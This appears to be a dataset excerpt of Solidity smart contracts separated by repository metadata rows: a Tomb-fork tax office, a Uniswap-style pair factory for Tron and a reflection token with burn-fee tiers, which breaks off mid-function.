uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface ITaxable {
function setTaxTiersTwap(uint8 _index, uint256 _value) external returns (bool);
function setTaxTiersRate(uint8 _index, uint256 _value) external returns (bool);
function enableAutoCalculateTax() external;
function disableAutoCalculateTax() external;
function setTaxCollectorAddress(address _taxCollectorAddress) external;
function isAddressExcluded(address _address) external returns (bool);
function setTaxRate(uint256 _taxRate) external;
function setBurnThreshold(uint256 _burnThreshold) external;
function excludeAddress(address _address) external returns (bool);
function includeAddress(address _address) external returns (bool);
function setTombOracle(address _tombOracle) external;
function setTaxOffice(address _taxOffice) external;
function taxRate() external view returns (uint256);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TaxOfficeV2 is Operator {
using SafeMath for uint256;
address public tomb = address(0xAc34ea24D350b1260A9cAF487Fe97f2B6d0e98aD);
address public wftm = address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
address public uniRouter = address(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
mapping(address => bool) public taxExclusionEnabled;
function setTaxTiersTwap(uint8 _index, uint256 _value) public onlyOperator returns (bool) {
return ITaxable(tomb).setTaxTiersTwap(_index, _value);
}
function setTaxTiersRate(uint8 _index, uint256 _value) public onlyOperator returns (bool) {
return ITaxable(tomb).setTaxTiersRate(_index, _value);
}
function enableAutoCalculateTax() public onlyOperator {
ITaxable(tomb).enableAutoCalculateTax();
}
function disableAutoCalculateTax() public onlyOperator {
ITaxable(tomb).disableAutoCalculateTax();
}
function setTaxRate(uint256 _taxRate) public onlyOperator {
ITaxable(tomb).setTaxRate(_taxRate);
}
function setBurnThreshold(uint256 _burnThreshold) public onlyOperator {
ITaxable(tomb).setBurnThreshold(_burnThreshold);
}
function setTaxCollectorAddress(address _taxCollectorAddress) public onlyOperator {
ITaxable(tomb).setTaxCollectorAddress(_taxCollectorAddress);
}
function excludeAddressFromTax(address _address) external onlyOperator returns (bool) {
return _excludeAddressFromTax(_address);
}
function _excludeAddressFromTax(address _address) private returns (bool) {
if (!ITaxable(tomb).isAddressExcluded(_address)) {
return ITaxable(tomb).excludeAddress(_address);
}
}
function includeAddressInTax(address _address) external onlyOperator returns (bool) {
return _includeAddressInTax(_address);
}
function _includeAddressInTax(address _address) private returns (bool) {
if (ITaxable(tomb).isAddressExcluded(_address)) {
return ITaxable(tomb).includeAddress(_address);
}
}
function taxRate() external view returns (uint256) {
return ITaxable(tomb).taxRate();
}
function addLiquidityTaxFree(address token,
uint256 amtTomb,
uint256 amtToken,
uint256 amtTombMin,
uint256 amtTokenMin)
external
returns (uint256,
uint256,
uint256)
{
require(amtTomb != 0 && amtToken != 0, "amounts can't be 0");
_excludeAddressFromTax(msg.sender);
IERC20(tomb).transferFrom(msg.sender, address(this), amtTomb);
IERC20(token).transferFrom(msg.sender, address(this), amtToken);
_approveTokenIfNeeded(tomb, uniRouter);
_approveTokenIfNeeded(token, uniRouter);
_includeAddressInTax(msg.sender);
uint256 resultAmtTomb;
uint256 resultAmtToken;
uint256 liquidity;
(resultAmtTomb, resultAmtToken, liquidity) = IUniswapV2Router(uniRouter).addLiquidity(tomb,
token,
amtTomb,
amtToken,
amtTombMin,
amtTokenMin,
msg.sender,
block.timestamp);
if(amtTomb.sub(resultAmtTomb) > 0) {
IERC20(tomb).transfer(msg.sender, amtTomb.sub(resultAmtTomb));
}
if(amtToken.sub(resultAmtToken) > 0) {
IERC20(token).transfer(msg.sender, amtToken.sub(resultAmtToken));
}
return (resultAmtTomb, resultAmtToken, liquidity);
}
function addLiquidityETHTaxFree(uint256 amtTomb,
uint256 amtTombMin,
uint256 amtFtmMin)
external
payable
returns (uint256,
uint256,
uint256)
{
require(amtTomb != 0 && msg.value != 0, "amounts can't be 0");
_excludeAddressFromTax(msg.sender);
IERC20(tomb).transferFrom(msg.sender, address(this), amtTomb);
_approveTokenIfNeeded(tomb, uniRouter);
_includeAddressInTax(msg.sender);
uint256 resultAmtTomb;
uint256 resultAmtFtm;
uint256 liquidity;
(resultAmtTomb, resultAmtFtm, liquidity) = IUniswapV2Router(uniRouter).addLiquidityETH{value: msg.value}(tomb,
amtTomb,
amtTombMin,
amtFtmMin,
msg.sender,
block.timestamp);
if(amtTomb.sub(resultAmtTomb) > 0) {
IERC20(tomb).transfer(msg.sender, amtTomb.sub(resultAmtTomb));
}
return (resultAmtTomb, resultAmtFtm, liquidity);
}
function setTaxableTombOracle(address _tombOracle) external onlyOperator {
ITaxable(tomb).setTombOracle(_tombOracle);
}
function transferTaxOffice(address _newTaxOffice) external onlyOperator {
ITaxable(tomb).setTaxOffice(_newTaxOffice);
}
function taxFreeTransferFrom(address _sender,
address _recipient,
uint256 _amt) external {
require(taxExclusionEnabled[msg.sender], "Address not approved for tax free transfers");
_excludeAddressFromTax(_sender);
IERC20(tomb).transferFrom(_sender, _recipient, _amt);
_includeAddressInTax(_sender);
}
function setTaxExclusionForAddress(address _address, bool _excluded) external onlyOperator {
taxExclusionEnabled[_address] = _excluded;
}
function _approveTokenIfNeeded(address _token, address _router) private {
if (IERC20(_token).allowance(address(this), _router) == 0) {
IERC20(_token).approve(_router, type(uint256).max);
}
}
}
| 326,729 | 13,650 |
546d3c091cc33d83c9bfad99423980ab2dd60129e099733db549d0e6ad4ecc21
| 14,932 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TV/TV47uKbCtMdQsRuMUTE22tzU5KwKo88cas_RCHFactory.sol
| 4,284 | 14,386 |
//SourceUnit: RCHFactory.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.5.12;
interface ITRC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function approve(address spender, uint256 value) external returns(bool);
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
function name() external view returns(string memory);
function symbol() external view returns(string memory);
function decimals() external view returns(uint8);
function totalSupply() external view returns(uint256);
function balanceOf(address owner) external view returns(uint256);
function allowance(address owner, address spender) external view returns(uint256);
}
interface IFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256 index);
function createPair(address tokenA, address tokenB) external returns(address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function feeTo() external view returns(address);
function feeToSetter() external view returns(address);
function pairs(address tokenA, address tokenB) external view returns(address pair);
function getPair(address tokenA, address tokenB) external view returns(address pair);
function allPairs(uint256) external view returns(address pair);
function allPairsLength() external view returns(uint256);
}
interface IPair {
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function mint(address to) external returns(uint256 liquidity);
function burn(address to) external returns(uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
function MINIMUM_LIQUIDITY() external pure returns(uint256);
function factory() external view returns(address);
function token0() external view returns(address);
function token1() external view returns(address);
function getReserves() external view returns(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns(uint256);
function price1CumulativeLast() external view returns(uint256);
function kLast() external view returns(uint256);
}
interface ICallee {
function call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns(uint256 z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint256 x, uint256 y) internal pure returns(uint256 z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint256 x, uint256 y) internal pure returns(uint256 z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library Math {
function min(uint256 x, uint256 y) internal pure returns(uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns(uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library UQ112x112 {
uint224 constant Q112 = 2**112;
function encode(uint112 y) internal pure returns(uint224 z) {
z = uint224(y) * Q112;
}
function uqdiv(uint224 x, uint112 y) internal pure returns(uint224 z) {
z = x / uint224(y);
}
}
contract TRC20 is ITRC20 {
using SafeMath for uint256;
string public constant name = 'Receh';
string public constant symbol = 'RCH';
uint8 public constant decimals = 6;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint256 value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns(bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns(bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns(bool) {
if(allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
}
contract Pair is TRC20, IPair {
using SafeMath for uint256;
using UQ112x112 for uint224;
uint256 public constant MINIMUM_LIQUIDITY = 1000;
uint112 private reserve0;
uint112 private reserve1;
uint32 private blockTimestampLast;
uint256 private unlocked = 1;
address public factory;
address public token0;
address public token1;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 public kLast;
modifier lock() {
require(unlocked == 1, 'Lock: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
constructor() public {
factory = msg.sender;
}
function _safeTransfer(address token, address to, uint256 value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (token == 0xa614f803B6FD780986A42c78Ec9c7f77e6DeD13C || data.length == 0 || abi.decode(data, (bool))), 'Pair: TRANSFER_FAILED');
}
function _update(uint256 balance0, uint256 balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'Pair: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2 ** 32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
if(timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
price0CumulativeLast += uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns(bool feeOn) {
address feeTo = IFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint256 _kLast = kLast;
if(feeOn) {
if(_kLast != 0) {
uint256 rootK = Math.sqrt(uint256(_reserve0).mul(_reserve1));
uint256 rootKLast = Math.sqrt(_kLast);
if(rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 liquidity = numerator / denominator;
if(liquidity > 0) _mint(feeTo, liquidity);
}
}
}
else if(_kLast != 0) kLast = 0;
}
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'Pair: FORBIDDEN');
token0 = _token0;
token1 = _token1;
}
function mint(address to) external lock returns(uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves();
uint256 balance0 = ITRC20(token0).balanceOf(address(this));
uint256 balance1 = ITRC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
if(totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY);
}
else liquidity = Math.min(amount0.mul(totalSupply) / _reserve0, amount1.mul(totalSupply) / _reserve1);
require(liquidity > 0, 'Pair: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if(feeOn) kLast = uint256(reserve0).mul(reserve1);
emit Mint(msg.sender, amount0, amount1);
}
function burn(address to) external lock returns(uint256 amount0, uint256 amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves();
uint256 balance0 = ITRC20(token0).balanceOf(address(this));
uint256 balance1 = ITRC20(token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
amount0 = liquidity.mul(balance0) / totalSupply;
amount1 = liquidity.mul(balance1) / totalSupply;
require(amount0 > 0 && amount1 > 0, 'Pair: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(token0, to, amount0);
_safeTransfer(token1, to, amount1);
balance0 = ITRC20(token0).balanceOf(address(this));
balance1 = ITRC20(token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if(feeOn) kLast = uint256(reserve0).mul(reserve1);
emit Burn(msg.sender, amount0, amount1, to);
}
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'Pair: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves();
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pair: INSUFFICIENT_LIQUIDITY');
require(to != token0 && to != token1, 'Pair: INVALID_TO');
if(amount0Out > 0) _safeTransfer(token0, to, amount0Out);
if(amount1Out > 0) _safeTransfer(token1, to, amount1Out);
if(data.length > 0) ICallee(to).call(msg.sender, amount0Out, amount1Out, data);
uint256 balance0 = ITRC20(token0).balanceOf(address(this));
uint256 balance1 = ITRC20(token1).balanceOf(address(this));
uint256 amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint256 amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Pair: INSUFFICIENT_INPUT_AMOUNT');
{
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint256(_reserve0).mul(_reserve1).mul(1000 ** 2), 'Pair: Bad swap');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
function skim(address to) external lock {
_safeTransfer(token0, to, ITRC20(token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(token1, to, ITRC20(token1).balanceOf(address(this)).sub(reserve1));
}
function sync() external lock {
_update(ITRC20(token0).balanceOf(address(this)), ITRC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
function getReserves() public view returns(uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
}
contract RCHFactory is IFactory {
address public feeTo;
address public feeToSetter;
mapping(address => mapping(address => address)) public pairs;
address[] public allPairs;
constructor(address _feeToSetter) public {
feeToSetter = _feeToSetter;
}
function createPair(address tokenA, address tokenB) external returns(address pair) {
require(tokenA != tokenB, 'Factory: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'Factory: ZERO_ADDRESS');
require(pairs[token0][token1] == address(0), 'Factory: PAIR_EXISTS');
pair = address(new Pair());
IPair(pair).initialize(token0, token1);
pairs[token0][token1] = pair;
pairs[token1][token0] = pair;
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external {
require(msg.sender == feeToSetter, 'Factory: FORBIDDEN');
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external {
require(msg.sender == feeToSetter, 'Factory: FORBIDDEN');
feeToSetter = _feeToSetter;
}
function getPair(address tokenA, address tokenB) external view returns(address pair) {
pair = tokenA < tokenB ? pairs[tokenA][tokenB] : pairs[tokenB][tokenA];
}
function allPairsLength() external view returns(uint256) {
return allPairs.length;
}
}
| 305,460 | 13,651 |
d47e8e64d5a39b9d16f274897260df7bc97648fa67862a88d2116eb2416fe2b9
| 17,634 |
.sol
|
Solidity
| false |
361980678
|
ATFinance/smart-contract
|
828e6c8641e01c69241b740e27a3ab439a78c325
|
contracts/Token.sol
| 5,305 | 17,433 |
// SPDX-License-Identifier: MIT
//
// _______ ______ _
// /\|__ __| | ____(_)
// / \ | | | |__ _ _ __ __ _ _ __ ___ ___
// / /\ \ | | | __| | | '_ \ / _` | '_ \ / __/ _ \
// / ____ \| | | | | | | | | (_| | | | | (_| __/
// /_/ \_\_| |_| |_|_| |_|\__,_|_| |_|\___\___| Est.2021
// Telegram: https://t.me/at_finance
// Twitter: https://t.co/mTtLSX7ayv
// GitHub: https://github.com/ATFinance
// Email: support@at.finance
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract ATToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'ATFinance';
string private constant _SYMBOL = 'AT';
uint8 private constant _DECIMALS = 18;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 100000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private _tideCycle = 0;
uint256 private _tTradeCycle = 0;
uint256 private _tBurnCycle = 0;
uint256 private _BURN_FEE = 0;
uint256 private _TAX_FEE = 0;
uint256 private constant _MAX_TX_SIZE = 100000000 * _DECIMALFACTOR;
// TOTAL_GONS is a multiple of INITIAL_FRAGMENTS_SUPPLY so that _gonsPerFragment is an integer.
// Use the highest value that fits in a uint256 for max granularity.
// MAX_SUPPLY = maximum integer < (sqrt(4*TOTAL_GONS + 1) - 1) / 2
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
constructor() {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _NAME;
}
function symbol() public pure returns (string memory) {
return _SYMBOL;
}
function decimals() public pure returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function payTax(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F, 'We can not exclude Pancakeswap router.');
require(account != 0x10ED43C718714eb63d5aA57B78B54704E256024E, 'We can not exclude PancakeswapV2 router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
// @dev once all cycles are completed, burn fee will be set to 0 and the protocol
// reaches its final phase, in which no further supply elasticity will take place
// and fees will stay at 0
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if(_BURN_FEE >= 500){
_tTradeCycle = _tTradeCycle.add(amount);
// @dev adjust current burnFee depending on the traded tokens during th
if(_tTradeCycle >= (0 * _DECIMALFACTOR) && _tTradeCycle <= (999999 *_DECIMALFACTOR)){
_setBurnFee(500);
} else if(_tTradeCycle >= (1000000 * _DECIMALFACTOR) && _tTradeCycle <= (2000000 * _DECIMALFACTOR)){
_setBurnFee(550);
} else if(_tTradeCycle >= (2000000 * _DECIMALFACTOR) && _tTradeCycle <= (3000000 * _DECIMALFACTOR)){
_setBurnFee(600);
} else if(_tTradeCycle >= (3000000 * _DECIMALFACTOR) && _tTradeCycle <= (4000000 * _DECIMALFACTOR)){
_setBurnFee(650);
} else if(_tTradeCycle >= (4000000 * _DECIMALFACTOR) && _tTradeCycle <= (5000000 * _DECIMALFACTOR)){
_setBurnFee(700);
} else if(_tTradeCycle >= (5000000 * _DECIMALFACTOR) && _tTradeCycle <= (6000000 * _DECIMALFACTOR)){
_setBurnFee(750);
} else if(_tTradeCycle >= (6000000 * _DECIMALFACTOR) && _tTradeCycle <= (7000000 * _DECIMALFACTOR)){
_setBurnFee(800);
} else if(_tTradeCycle >= (7000000 * _DECIMALFACTOR) && _tTradeCycle <= (8000000 * _DECIMALFACTOR)){
_setBurnFee(850);
} else if(_tTradeCycle >= (8000000 * _DECIMALFACTOR) && _tTradeCycle <= (9000000 * _DECIMALFACTOR)){
_setBurnFee(900);
} else if(_tTradeCycle >= (9000000 * _DECIMALFACTOR) && _tTradeCycle <= (10000000 * _DECIMALFACTOR)){
_setBurnFee(950);
} else if(_tTradeCycle >= (10000000 * _DECIMALFACTOR) && _tTradeCycle <= (11000000 * _DECIMALFACTOR)){
_setBurnFee(1000);
} else if(_tTradeCycle >= (11000000 * _DECIMALFACTOR) && _tTradeCycle <= (12000000 * _DECIMALFACTOR)){
_setBurnFee(1050);
} else if(_tTradeCycle >= (12000000 * _DECIMALFACTOR) && _tTradeCycle <= (13000000 * _DECIMALFACTOR)){
_setBurnFee(1100);
} else if(_tTradeCycle >= (13000000 * _DECIMALFACTOR) && _tTradeCycle <= (14000000 * _DECIMALFACTOR)){
_setBurnFee(1150);
} else if(_tTradeCycle >= (14000000 * _DECIMALFACTOR)){
_setBurnFee(1200);
}
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_burnAndRebase(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_burnAndRebase(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_burnAndRebase(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_burnAndRebase(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _burnAndRebase(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tBurnCycle = _tBurnCycle.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
// @dev after 1,270,500 tokens burnt, supply is expanded by 637,500 tokens
if(_tBurnCycle >= (1275000 * _DECIMALFACTOR)){
uint256 _tRebaseDelta = 637500 * _DECIMALFACTOR;
_tBurnCycle = _tBurnCycle.sub((1275000 * _DECIMALFACTOR));
_tTradeCycle = 0;
_setBurnFee(500);
_rebase(_tRebaseDelta);
}
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
